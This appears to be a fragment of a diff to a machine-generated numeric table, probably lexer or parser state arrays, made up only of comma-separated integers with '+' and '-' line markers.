408, 408, 408, 408, 408, 408, 408, 408, + 408, 408, 408, 408, 408, 408, 408, 408, 408, 417, + 417, 417, 417, 417, 417, 417, 417, 417, 417, 417, + + 417, 417, 417, 417, 417, 417, 417, 417, 424, 424, + 424, 424, 424, 424, 424, 424, 424, 424, 424, 424, + 424, 424, 424, 424, 424, 424, 424, 429, 429, 429, + 429, 429, 429, 429, 429, 429, 429, 429, 429, 429, + 429, 429, 429, 429, 429, 429, 513, 513, 513, 513, + 513, 513, 513, 513, 513, 513, 513, 513, 513, 513, + 513, 513, 513, 513, 513, 519, 519, 519, 519, 519, + 519, 519, 519, 519, 519, 519, 519, 519, 519, 519, + 519, 519, 519, 519, 524, 524, 524, 524, 524, 524, + 524, 524, 524, 524, 524, 524, 524, 524, 524, 524, + + 524, 524, 524, 527, 527, 550, 527, 527, 527, 527, + 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, + 527, 527, 528, 528, 548, 528, 528, 528, 528, 528, + 528, 528, 528, 528, 528, 528, 528, 528, 528, 528, + 528, 529, 529, 1077, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, - 529, 529, 529, 529, 534, 534, 534, 534, 534, 534, - 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, - 534, 534, 536, 536, 536, 536, 536, 536, 536, 536, - 536, 536, 536, 536, 536, 536, 536, 536, 536, 536, - 541, 541, 541, 541, 541, 541, 541, 541, 541, 541, - 541, 541, 541, 541, 541, 541, 541, 541, 266, 266, - 515, 266, 266, 266, 266, 266, 266, 266, 266, 266, - 266, 266, 266, 266, 266, 266, 347, 347, 347, 347, + 538, 538, 538, 538, 538, 538, 538, 538, 538, 538, + 538, 538, 538, 538, 538, 538, 538, 538, 538, 543, + 543, 543, 543, 543, 543, 543, 543, 543, 543, 543, + 543, 543, 543, 543, 543, 543, 543, 543, 545, 545, + + 545, 545, 545, 545, 545, 545, 545, 545, 545, 545, + 545, 545, 545, 545, 545, 545, 545, 550, 550, 550, + 550, 550, 550, 550, 550, 550, 550, 550, 550, 550, + 550, 550, 550, 550, 550, 550, 266, 266, 543, 266, + 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, + 266, 266, 266, 266, 266, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, - - 347, 347, 347, 347, 357, 357, 357, 357, 357, 357, - 357, 357, 357, 357, 357, 357, 357, 357, 357, 357, - 357, 357, 364, 364, 364, 364, 364, 364, 364, 364, - 364, 364, 364, 364, 364, 364, 364, 364, 516, 364, - 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, - 367, 367, 367, 367, 367, 367, 367, 367, 374, 374, - 374, 374, 374, 374, 374, 374, 374, 374, 374, 374, - 374, 374, 374, 374, 509, 374, 377, 377, 377, 377, + 347, 347, 347, 347, 638, 638, 638, 638, 638, 638, + 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, + 638, 638, 638, 358, 358, 358, 358, 358, 358, 358, + + 358, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 358, 358, 365, 365, 365, 365, 365, 365, 365, 365, + 365, 365, 365, 365, 365, 365, 365, 365, 365, 541, + 365, 648, 648, 648, 648, 648, 648, 648, 648, 648, + 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 377, 377, 377, 377, 377, 377, 377, 377, 377, 377, 377, - 377, 377, 377, 377, 383, 383, 383, 383, 383, 383, + 377, 377, 377, 377, 377, 377, 1066, 377, 659, 659, + 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, - 383, 383, 383, 383, 383, 383, 383, 383, 383, 383, - 383, 383, 641, 641, 641, 641, 641, 641, 641, 641, - 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, + 659, 659, 659, 659, 659, 659, 659, 382, 382, 382, + 382, 382, 382, 382, 382, 382, 382, 382, 382, 382, + 382, 382, 382, 382, 382, 382, 388, 388, 388, 388, 388, 388, 388, 388, 388, 388, 388, 388, 388, 388, - 388, 388, 388, 388, 388, 388, 388, 388, 646, 755, - 646, 646, 741, 480, 646, 646, 646, 646, 646, 737, - 646, 646, 646, 646, 646, 392, 392, 392, 392, 392, - 392, 392, 392, 392, 392, 392, 392, 392, 392, 392, - 392, 392, 392, 400, 400, 400, 400, 400, 400, 400, - 400, 400, 400, 400, 400, 400, 400, 400, 400, 698, - - 400, 654, 654, 654, 654, 654, 654, 654, 654, 654, - 654, 654, 654, 654, 654, 654, 654, 654, 654, 403, - 403, 403, 403, 403, 403, 403, 403, 403, 403, 403, - 403, 403, 403, 403, 403, 403, 403, 661, 661, 661, - 661, 661, 661, 661, 661, 661, 661, 661, 661, 661, - 661, 661, 661, 661, 661, 663, 683, 663, 663, 438, - 429, 663, 663, 663, 663, 663, 415, 663, 663, 663, - 663, 663, 412, 412, 412, 412, 412, 412, 412, 412, - 412, 412, 412, 412, 412, 412, 412, 412, 412, 412, - 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, - - 419, 419, 419, 419, 419, 419, 418, 419, 422, 422, - 422, 422, 422, 422, 422, 422, 422, 422, 422, 422, - 422, 422, 422, 422, 422, 422, 506, 506, 506, 506, - 506, 506, 506, 506, 506, 506, 506, 506, 506, 506, - 506, 506, 506, 506, 512, 512, 512, 512, 512, 512, - 512, 512, 512, 512, 512, 512, 512, 512, 512, 512, - 512, 512, 517, 517, 517, 517, 517, 517, 517, 517, - 517, 517, 517, 517, 517, 517, 517, 517, 396, 517, - 518, 518, 399, 518, 518, 518, 518, 518, 518, 518, - 518, 518, 518, 518, 518, 518, 518, 518, 519, 519, - - 391, 519, 519, 519, 519, 519, 519, 519, 519, 519, - 519, 519, 519, 519, 519, 519, 520, 520, 386, 520, - 520, 520, 520, 520, 520, 520, 520, 520, 520, 520, - 520, 520, 520, 520, 529, 529, 529, 529, 529, 529, + 388, 388, 388, 388, 388, 666, 666, 666, 666, 666, + 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, + 666, 666, 666, 666, 393, 393, 393, 393, 393, 393, + 393, 393, 393, 393, 393, 393, 393, 393, 393, 393, + 393, 393, 393, 671, 1067, 671, 671, 1065, 524, 671, + 671, 671, 671, 671, 522, 671, 671, 671, 671, 671, + + 671, 397, 397, 397, 397, 397, 397, 397, 397, 397, + 397, 397, 397, 397, 397, 397, 397, 397, 397, 397, + 405, 405, 405, 405, 405, 405, 405, 405, 405, 405, + 405, 405, 405, 405, 405, 405, 405, 1063, 405, 679, + 679, 679, 679, 679, 679, 679, 679, 679, 679, 679, + 679, 679, 679, 679, 679, 679, 679, 679, 408, 408, + 408, 408, 408, 408, 408, 408, 408, 408, 408, 408, + 408, 408, 408, 408, 408, 408, 408, 686, 686, 686, + 686, 686, 686, 686, 686, 686, 686, 686, 686, 686, + 686, 686, 686, 686, 686, 686, 688, 518, 688, 688, + + 1058, 1050, 688, 688, 688, 688, 688, 1041, 688, 688, + 688, 688, 688, 688, 417, 417, 417, 417, 417, 417, + 417, 417, 417, 417, 417, 417, 417, 417, 417, 417, + 417, 417, 417, 424, 424, 424, 424, 424, 424, 424, + 424, 424, 424, 424, 424, 424, 424, 424, 424, 424, + 1040, 424, 701, 701, 701, 701, 701, 701, 701, 701, + 701, 701, 701, 701, 701, 701, 701, 701, 701, 701, + 701, 429, 429, 429, 429, 429, 429, 429, 429, 429, + 429, 429, 429, 429, 429, 429, 429, 429, 429, 429, + 513, 513, 513, 513, 513, 513, 513, 513, 513, 513, + + 513, 513, 513, 513, 513, 513, 513, 513, 513, 519, + 519, 519, 519, 519, 519, 519, 519, 519, 519, 519, + 519, 519, 519, 519, 519, 519, 519, 519, 524, 524, + 524, 524, 524, 524, 524, 524, 524, 524, 524, 524, + 524, 524, 524, 524, 524, 1010, 524, 795, 795, 795, + 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, + 795, 795, 795, 795, 795, 795, 527, 527, 998, 527, + 527, 527, 527, 527, 527, 527, 527, 527, 527, 527, + 527, 527, 527, 527, 527, 528, 528, 986, 528, 528, + 528, 528, 528, 528, 528, 528, 528, 528, 528, 528, + + 528, 528, 528, 528, 529, 529, 976, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, - 529, 529, 534, 534, 534, 534, 534, 534, 534, 534, - 534, 534, 534, 534, 534, 534, 534, 534, 370, 534, - 536, 536, 536, 536, 536, 536, 536, 536, 536, 536, - 536, 536, 536, 536, 536, 536, 536, 536, 541, 541, - 541, 541, 541, 541, 541, 541, 541, 541, 541, 541, - - 541, 541, 541, 541, 373, 541, 266, 266, 360, 266, + 529, 529, 529, 538, 538, 538, 538, 538, 538, 538, + 538, 538, 538, 538, 538, 538, 538, 538, 538, 538, + 538, 538, 543, 543, 543, 543, 543, 543, 543, 543, + 543, 543, 543, 543, 543, 543, 543, 543, 543, 439, + 543, 545, 545, 545, 545, 545, 545, 545, 545, 545, + 545, 545, 545, 545, 545, 545, 545, 545, 545, 545, + 550, 550, 550, 550, 550, 550, 550, 550, 550, 550, + 550, 550, 550, 550, 550, 550, 550, 969, 550, 266, + + 266, 970, 266, 266, 266, 266, 266, 266, 266, 266, + 266, 266, 266, 266, 266, 266, 266, 266, 347, 347, + 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, + 347, 347, 347, 347, 347, 347, 347, 638, 638, 638, + 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, + 638, 638, 638, 638, 638, 638, 365, 365, 365, 365, + 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, + 365, 365, 365, 365, 365, 358, 358, 358, 358, 358, + 358, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 358, 358, 358, 358, 648, 648, 648, 648, 648, 648, + + 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, + 648, 648, 648, 911, 911, 911, 911, 911, 911, 911, + 911, 911, 911, 911, 911, 911, 911, 911, 911, 911, + 967, 911, 377, 377, 377, 377, 377, 377, 377, 377, + 377, 377, 377, 377, 377, 377, 377, 377, 377, 377, + 377, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, + 659, 659, 659, 659, 659, 659, 659, 659, 659, 920, + 920, 920, 920, 920, 920, 920, 920, 920, 920, 920, + + 920, 920, 920, 920, 920, 920, 424, 920, 666, 666, + 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, + 666, 666, 666, 666, 666, 666, 666, 926, 420, 926, + 926, 689, 940, 926, 926, 926, 926, 926, 405, 926, + 926, 926, 926, 926, 926, 926, 929, 401, 929, 929, + 672, 918, 929, 929, 929, 929, 929, 919, 929, 929, + 929, 929, 929, 929, 929, 393, 393, 393, 393, 393, + 393, 393, 393, 393, 393, 393, 393, 393, 393, 393, + 393, 393, 393, 393, 671, 916, 671, 671, 377, 373, + 671, 671, 671, 671, 671, 909, 671, 671, 671, 671, + + 671, 671, 405, 405, 405, 405, 405, 405, 405, 405, + 405, 405, 405, 405, 405, 405, 405, 405, 405, 405, + 405, 397, 397, 397, 397, 397, 397, 397, 397, 397, + 397, 397, 397, 397, 397, 397, 397, 397, 397, 397, + 679, 679, 679, 679, 679, 679, 679, 679, 679, 679, + 679, 679, 679, 679, 679, 679, 679, 679, 679, 942, + 942, 942, 942, 942, 942, 942, 942, 942, 942, 942, + 942, 942, 942, 942, 942, 942, 942, 942, 944, 910, + 944, 944, 907, 365, 944, 944, 944, 944, 944, 361, + 944, 944, 944, 944, 944, 944, 944, 684, 684, 684, + + 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, + 684, 684, 684, 684, 684, 684, 408, 408, 408, 408, + 408, 408, 408, 408, 408, 408, 408, 408, 408, 408, + 408, 408, 408, 408, 408, 688, 902, 688, 688, 899, + 634, 688, 688, 688, 688, 688, 854, 688, 688, 688, + 688, 688, 688, 686, 686, 686, 686, 686, 686, 686, + 686, 686, 686, 686, 686, 686, 686, 686, 686, 686, + 686, 686, 424, 424, 424, 424, 424, 424, 424, 424, + 424, 424, 424, 424, 424, 424, 424, 424, 424, 424, + 424, 417, 417, 417, 417, 417, 417, 417, 417, 417, + + 417, 417, 417, 417, 417, 417, 417, 417, 417, 417, + 701, 701, 701, 701, 701, 701, 701, 701, 701, 701, + 701, 701, 701, 701, 701, 701, 701, 701, 701, 971, + 971, 971, 971, 971, 971, 971, 971, 971, 971, 971, + 971, 971, 971, 971, 971, 971, 812, 971, 429, 429, + 429, 429, 429, 429, 429, 429, 429, 429, 429, 429, + 429, 429, 429, 429, 429, 429, 429, 513, 513, 513, + 513, 513, 513, 513, 513, 513, 513, 513, 513, 513, + 513, 513, 513, 513, 513, 513, 524, 524, 524, 524, + 524, 524, 524, 524, 524, 524, 524, 524, 524, 524, + + 524, 524, 524, 524, 524, 519, 519, 519, 519, 519, + 519, 519, 519, 519, 519, 519, 519, 519, 519, 519, + 519, 519, 519, 519, 795, 795, 795, 795, 795, 795, + 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, + 795, 795, 795, 1068, 1068, 1068, 1068, 1068, 1068, 1068, + 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, + 548, 1068, 543, 543, 543, 543, 543, 543, 543, 543, + 543, 543, 543, 543, 543, 543, 543, 543, 543, 543, + 543, 538, 538, 538, 538, 538, 538, 538, 538, 538, + 538, 538, 538, 538, 538, 538, 538, 538, 538, 538, + + 550, 550, 550, 550, 550, 550, 550, 550, 550, 550, + 550, 550, 550, 550, 550, 550, 550, 550, 550, 545, + 545, 545, 545, 545, 545, 545, 545, 545, 545, 545, + 545, 545, 545, 545, 545, 545, 545, 545, 266, 266, + 549, 266, 266, 266, 266, 266, 266, 266, 266, 266, + 266, 266, 266, 266, 266, 266, 266, 347, 347, 347, + 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, + 347, 347, 347, 347, 347, 347, 638, 638, 638, 638, + 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, + 638, 638, 638, 638, 638, 358, 358, 358, 358, 358, + + 358, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 358, 358, 358, 358, 648, 648, 648, 648, 648, 648, + 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, + 648, 648, 648, 911, 911, 911, 911, 911, 911, 911, + 911, 911, 911, 911, 911, 911, 911, 911, 911, 911, + 911, 911, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 659, 659, 659, 659, 659, 659, 659, 659, 659, + 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, + 920, 920, 920, 920, 920, 920, 920, 920, 920, 920, + + 920, 920, 920, 920, 920, 920, 920, 920, 920, 666, + 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, + 666, 666, 666, 666, 666, 666, 666, 666, 926, 541, + 926, 926, 542, 522, 926, 926, 926, 926, 926, 523, + 926, 926, 926, 926, 926, 926, 926, 929, 516, 929, + 929, 786, 772, 929, 929, 929, 929, 929, 487, 929, + 929, 929, 929, 929, 929, 929, 671, 768, 671, 671, + 728, 713, 671, 671, 671, 671, 671, 445, 671, 671, + 671, 671, 671, 671, 397, 397, 397, 397, 397, 397, + 397, 397, 397, 397, 397, 397, 397, 397, 397, 397, + + 397, 397, 397, 679, 679, 679, 679, 679, 679, 679, + 679, 679, 679, 679, 679, 679, 679, 679, 679, 679, + 679, 679, 944, 436, 944, 944, 420, 423, 944, 944, + 944, 944, 944, 401, 944, 944, 944, 944, 944, 944, + 944, 684, 684, 684, 684, 684, 684, 684, 684, 684, + 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, + 948, 404, 948, 948, 396, 391, 948, 948, 948, 948, + 948, 373, 948, 948, 948, 948, 948, 948, 948, 942, + 942, 942, 942, 942, 942, 942, 942, 942, 942, 942, + 942, 942, 942, 942, 942, 942, 942, 942, 945, 945, + + 945, 945, 945, 945, 945, 945, 945, 945, 945, 945, + 945, 945, 945, 945, 945, 945, 945, 688, 376, 688, + 688, 361, 364, 688, 688, 688, 688, 688, 352, 688, + 688, 688, 688, 688, 688, 408, 408, 408, 408, 408, + 408, 408, 408, 408, 408, 408, 408, 408, 408, 408, + 408, 408, 408, 408, 417, 417, 417, 417, 417, 417, + 417, 417, 417, 417, 417, 417, 417, 417, 417, 417, + 417, 417, 417, 701, 701, 701, 701, 701, 701, 701, + 701, 701, 701, 701, 701, 701, 701, 701, 701, 701, + 701, 701, 971, 971, 971, 971, 971, 971, 971, 971, + + 971, 971, 971, 971, 971, 971, 971, 971, 971, 971, + 971, 429, 429, 429, 429, 429, 429, 429, 429, 429, + 429, 429, 429, 429, 429, 429, 429, 429, 429, 429, + 1257, 1257, 1257, 1257, 1257, 1257, 1257, 1257, 1257, 604, + 1257, 1257, 1257, 1257, 1257, 1257, 1257, 1257, 1257, 513, + 513, 513, 513, 513, 513, 513, 513, 513, 513, 513, + 513, 513, 513, 513, 513, 513, 513, 513, 519, 519, + 519, 519, 519, 519, 519, 519, 519, 519, 519, 519, + 519, 519, 519, 519, 519, 519, 519, 795, 795, 795, + 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, + + 795, 795, 795, 795, 795, 795, 1068, 1068, 1068, 1068, + 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, + 1068, 1068, 1068, 1068, 1068, 538, 538, 538, 538, 538, + 538, 538, 538, 538, 538, 538, 538, 538, 538, 538, + 538, 538, 538, 538, 545, 545, 545, 545, 545, 545, + 545, 545, 545, 545, 545, 545, 545, 545, 545, 545, + 545, 545, 545, 266, 266, 603, 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, - 266, 266, 266, 266, 347, 347, 347, 347, 347, 347, + 266, 266, 638, 638, 638, 638, 638, 638, 638, 638, + 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, + + 638, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, - 347, 347, 364, 364, 364, 364, 364, 364, 364, 364, - 364, 364, 364, 364, 364, 364, 364, 364, 364, 364, - 357, 357, 357, 357, 357, 357, 357, 357, 357, 357, - 357, 357, 357, 357, 357, 357, 357, 357, 374, 374, - 374, 374, 374, 374, 374, 374, 374, 374, 374, 374, - 374, 374, 374, 374, 374, 374, 367, 367, 367, 367, - - 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, - 367, 367, 367, 367, 641, 641, 641, 641, 641, 641, - 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, - 641, 641, 872, 363, 872, 872, 352, 594, 872, 872, - 872, 872, 872, 593, 872, 872, 872, 872, 872, 872, - 875, 559, 875, 875, 542, 540, 875, 875, 875, 875, - 875, 540, 875, 875, 875, 875, 875, 875, 388, 388, - 388, 388, 388, 388, 388, 388, 388, 388, 388, 388, - 388, 388, 388, 388, 388, 388, 646, 533, 646, 646, - 516, 509, 646, 646, 646, 646, 646, 480, 646, 646, - - 646, 646, 646, 400, 400, 400, 400, 400, 400, 400, - 400, 400, 400, 400, 400, 400, 400, 400, 400, 400, - 400, 392, 392, 392, 392, 392, 392, 392, 392, 392, - 392, 392, 392, 392, 392, 392, 392, 392, 392, 654, - 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, - 654, 654, 654, 654, 654, 654, 654, 888, 888, 888, - 888, 888, 888, 888, 888, 888, 888, 888, 888, 888, - 888, 888, 888, 888, 888, 890, 438, 890, 890, 418, - 399, 890, 890, 890, 890, 890, 399, 890, 890, 890, - 890, 890, 890, 659, 659, 659, 659, 659, 659, 659, + 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, + 365, 365, 365, 365, 365, 365, 365, 365, 365, 911, + 911, 911, 911, 911, 911, 911, 911, 911, 911, 911, + 911, 911, 911, 911, 911, 911, 911, 911, 648, 648, + 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, + 648, 648, 648, 648, 648, 648, 648, 358, 358, 358, + 358, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 358, 358, 358, 358, 358, 358, 377, 377, 377, 377, + 377, 377, 377, 377, 377, 377, 377, 377, 377, 377, + 377, 377, 377, 377, 377, 920, 920, 920, 920, 920, + 920, 920, 920, 920, 920, 920, 920, 920, 920, 920, + 920, 920, 920, 920, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, - 659, 403, 403, 403, 403, 403, 403, 403, 403, 403, - 403, 403, 403, 403, 403, 403, 403, 403, 403, 663, - 386, 663, 663, 386, 386, 663, 663, 663, 663, 663, - 373, 663, 663, 663, 663, 663, 661, 661, 661, 661, - 661, 661, 661, 661, 661, 661, 661, 661, 661, 661, - 661, 661, 661, 661, 419, 419, 419, 419, 419, 419, - 419, 419, 419, 419, 419, 419, 419, 419, 419, 419, - 419, 419, 412, 412, 412, 412, 412, 412, 412, 412, - 412, 412, 412, 412, 412, 412, 412, 412, 412, 412, - - 422, 422, 422, 422, 422, 422, 422, 422, 422, 422, - 422, 422, 422, 422, 422, 422, 422, 422, 506, 506, - 506, 506, 506, 506, 506, 506, 506, 506, 506, 506, - 506, 506, 506, 506, 506, 506, 517, 517, 517, 517, - 517, 517, 517, 517, 517, 517, 517, 517, 517, 517, - 517, 517, 517, 517, 512, 512, 512, 512, 512, 512, - 512, 512, 512, 512, 512, 512, 512, 512, 512, 512, - 512, 512, 534, 534, 534, 534, 534, 534, 534, 534, - 534, 534, 534, 534, 534, 534, 534, 534, 534, 534, - 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, - - 529, 529, 529, 529, 529, 529, 529, 529, 541, 541, - 541, 541, 541, 541, 541, 541, 541, 541, 541, 541, - 541, 541, 541, 541, 541, 541, 536, 536, 536, 536, - 536, 536, 536, 536, 536, 536, 536, 536, 536, 536, - 536, 536, 536, 536, 266, 266, 373, 266, 266, 266, + 659, 659, 659, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 666, 666, 666, 666, 666, 666, 666, 666, + 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, + 666, 926, 569, 926, 926, 551, 549, 926, 926, 926, + + 926, 926, 549, 926, 926, 926, 926, 926, 926, 926, + 929, 542, 929, 929, 523, 516, 929, 929, 929, 929, + 929, 487, 929, 929, 929, 929, 929, 929, 929, 405, + 405, 405, 405, 405, 405, 405, 405, 405, 405, 405, + 405, 405, 405, 405, 405, 405, 405, 405, 679, 679, + 679, 679, 679, 679, 679, 679, 679, 679, 679, 679, + 679, 679, 679, 679, 679, 679, 679, 944, 445, 944, + 944, 423, 404, 944, 944, 944, 944, 944, 404, 944, + 944, 944, 944, 944, 944, 944, 948, 391, 948, 948, + 391, 391, 948, 948, 948, 948, 948, 376, 948, 948, + + 948, 948, 948, 948, 948, 684, 684, 684, 684, 684, + 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, + 684, 684, 684, 684, 945, 945, 945, 945, 945, 945, + 945, 945, 945, 945, 945, 945, 945, 945, 945, 945, + 945, 945, 945, 688, 376, 688, 688, 364, 352, 688, + 688, 688, 688, 688, 688, 688, 688, 688, 688, 688, + 688, 686, 686, 686, 686, 686, 686, 686, 686, 686, + 686, 686, 686, 686, 686, 686, 686, 686, 686, 686, + 424, 424, 424, 424, 424, 424, 424, 424, 424, 424, + 424, 424, 424, 424, 424, 424, 424, 424, 424, 971, + + 971, 971, 971, 971, 971, 971, 971, 971, 971, 971, + 971, 971, 971, 971, 971, 971, 971, 971, 701, 701, + 701, 701, 701, 701, 701, 701, 701, 701, 701, 701, + 701, 701, 701, 701, 701, 701, 701, 417, 417, 417, + 417, 417, 417, 417, 417, 417, 417, 417, 417, 417, + 417, 417, 417, 417, 417, 417, 1480, 318, 1480, 1480, + 4154, 250, 1480, 1480, 1480, 250, 1480, 1480, 1480, 1480, + 1480, 1480, 1480, 1480, 1480, 1257, 1257, 1257, 1257, 1257, + 1257, 1257, 98, 1257, 98, 1257, 1257, 1257, 1257, 1257, + 1257, 1257, 1257, 1257, 1494, 1494, 1494, 1494, 1494, 1494, + + 1494, 98, 1494, 98, 1494, 1494, 1494, 1494, 1494, 1494, + 1494, 1494, 1494, 1528, 1528, 1528, 1528, 1528, 1528, 1528, + 1528, 1528, 1528, 1528, 1528, 1528, 1528, 1528, 1528, 1528, + 1528, 1528, 524, 524, 524, 524, 524, 524, 524, 524, + 524, 524, 524, 524, 524, 524, 524, 524, 524, 524, + 524, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, + 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, 1068, + 795, 795, 795, 795, 795, 795, 795, 795, 795, 795, + 795, 795, 795, 795, 795, 795, 795, 795, 795, 519, + 519, 519, 519, 519, 519, 519, 519, 519, 519, 519, + + 519, 519, 519, 519, 519, 519, 519, 519, 543, 543, + 543, 543, 543, 543, 543, 543, 543, 543, 543, 543, + 543, 543, 543, 543, 543, 543, 543, 550, 550, 550, + 550, 550, 550, 550, 550, 550, 550, 550, 550, 550, + 550, 550, 550, 550, 550, 550, 266, 266, 98, 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, 266, - 266, 266, 347, 347, 347, 347, 347, 347, 347, 347, + 266, 266, 266, 266, 266, 638, 638, 638, 638, 638, + 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, + 638, 638, 638, 638, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, 347, - 357, 357, 357, 357, 357, 357, 357, 357, 357, 357, - 357, 357, 357, 357, 357, 357, 357, 357, 367, 367, - - 367, 367, 367, 367, 367, 367, 367, 367, 367, 367, - 367, 367, 367, 367, 367, 367, 641, 641, 641, 641, - 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, - 641, 641, 641, 641, 872, 363, 872, 872, 352, 318, - 872, 872, 872, 872, 872, 3993, 872, 872, 872, 872, - 872, 872, 875, 250, 875, 875, 250, 98, 875, 875, - 875, 875, 875, 98, 875, 875, 875, 875, 875, 875, - 646, 98, 646, 646, 98, 98, 646, 646, 646, 646, - 646, 98, 646, 646, 646, 646, 646, 654, 654, 654, - 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, - - 654, 654, 654, 654, 654, 890, 98, 890, 890, 98, - 161, 890, 890, 890, 890, 890, 161, 890, 890, 890, - 890, 890, 890, 659, 659, 659, 659, 659, 659, 659, + + 347, 347, 347, 648, 648, 648, 648, 648, 648, 648, + 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, + 648, 648, 365, 365, 365, 365, 365, 365, 365, 365, + 365, 365, 365, 365, 365, 365, 365, 365, 365, 365, + 365, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 358, 358, 358, 358, 358, 358, 358, 358, 358, 358, + 911, 911, 911, 911, 911, 911, 911, 911, 911, 911, + 911, 911, 911, 911, 911, 911, 911, 911, 911, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, 659, - 659, 894, 160, 894, 894, 160, 3993, 894, 894, 894, - 894, 894, 3993, 894, 894, 894, 894, 894, 894, 888, - 888, 888, 888, 888, 888, 888, 888, 888, 888, 888, - 888, 888, 888, 888, 888, 888, 888, 891, 891, 891, - 891, 891, 891, 891, 891, 891, 891, 891, 891, 891, - 891, 891, 891, 891, 891, 663, 3993, 663, 663, 3993, - - 3993, 663, 663, 663, 663, 663, 3993, 663, 663, 663, - 663, 663, 403, 403, 403, 403, 403, 403, 403, 403, - 403, 403, 403, 403, 403, 403, 403, 403, 403, 403, - 412, 412, 412, 412, 412, 412, 412, 412, 412, 412, - 412, 412, 412, 412, 412, 412, 412, 412, 422, 422, - 422, 422, 422, 422, 422, 422, 422, 422, 422, 422, - 422, 422, 422, 422, 422, 422, 1161, 1161, 1161, 1161, - 1161, 1161, 1161, 1161, 1161, 3993, 1161, 1161, 1161, 1161, - 1161, 1161, 1161, 1161, 506, 506, 506, 506, 506, 506, - 506, 506, 506, 506, 506, 506, 506, 506, 506, 506, - - 506, 506, 512, 512, 512, 512, 512, 512, 512, 512, - 512, 512, 512, 512, 512, 512, 512, 512, 512, 512, - 529, 529, 529, 529, 529, 529, 529, 529, 529, 529, - 529, 529, 529, 529, 529, 529, 529, 529, 536, 536, - 536, 536, 536, 536, 536, 536, 536, 536, 536, 536, - 536, 536, 536, 536, 536, 536, 266, 266, 3993, 266, + 659, 659, 659, 659, 659, 659, 659, 659, 377, 377, + + 377, 377, 377, 377, 377, 377, 377, 377, 377, 377, + 377, 377, 377, 377, 377, 377, 377, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 370, 370, 370, 370, + 370, 370, 370, 370, 370, 370, 920, 920, 920, 920, + 920, 920, 920, 920, 920, 920, 920, 920, 920, 920, + 920, 920, 920, 920, 920, 926, 98, 926, 926, 98, + 98, 926, 926, 926, 926, 926, 161, 926, 926, 926, + 926, 926, 926, 926, 929, 161, 929, 929, 160, 160, + 929, 929, 929, 929, 929, 4154, 929, 929, 929, 929, + 929, 929, 929, 944, 4154, 944, 944, 4154, 4154, 944, + + 944, 944, 944, 944, 4154, 944, 944, 944, 944, 944, + 944, 944, 684, 684, 684, 684, 684, 684, 684, 684, + 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, + 684, 948, 4154, 948, 948, 4154, 4154, 948, 948, 948, + 948, 948, 4154, 948, 948, 948, 948, 948, 948, 948, + 942, 942, 942, 942, 942, 942, 942, 942, 942, 942, + 942, 942, 942, 942, 942, 942, 942, 942, 942, 688, + 4154, 688, 688, 4154, 4154, 688, 688, 688, 688, 688, + 4154, 688, 688, 688, 688, 688, 688, 701, 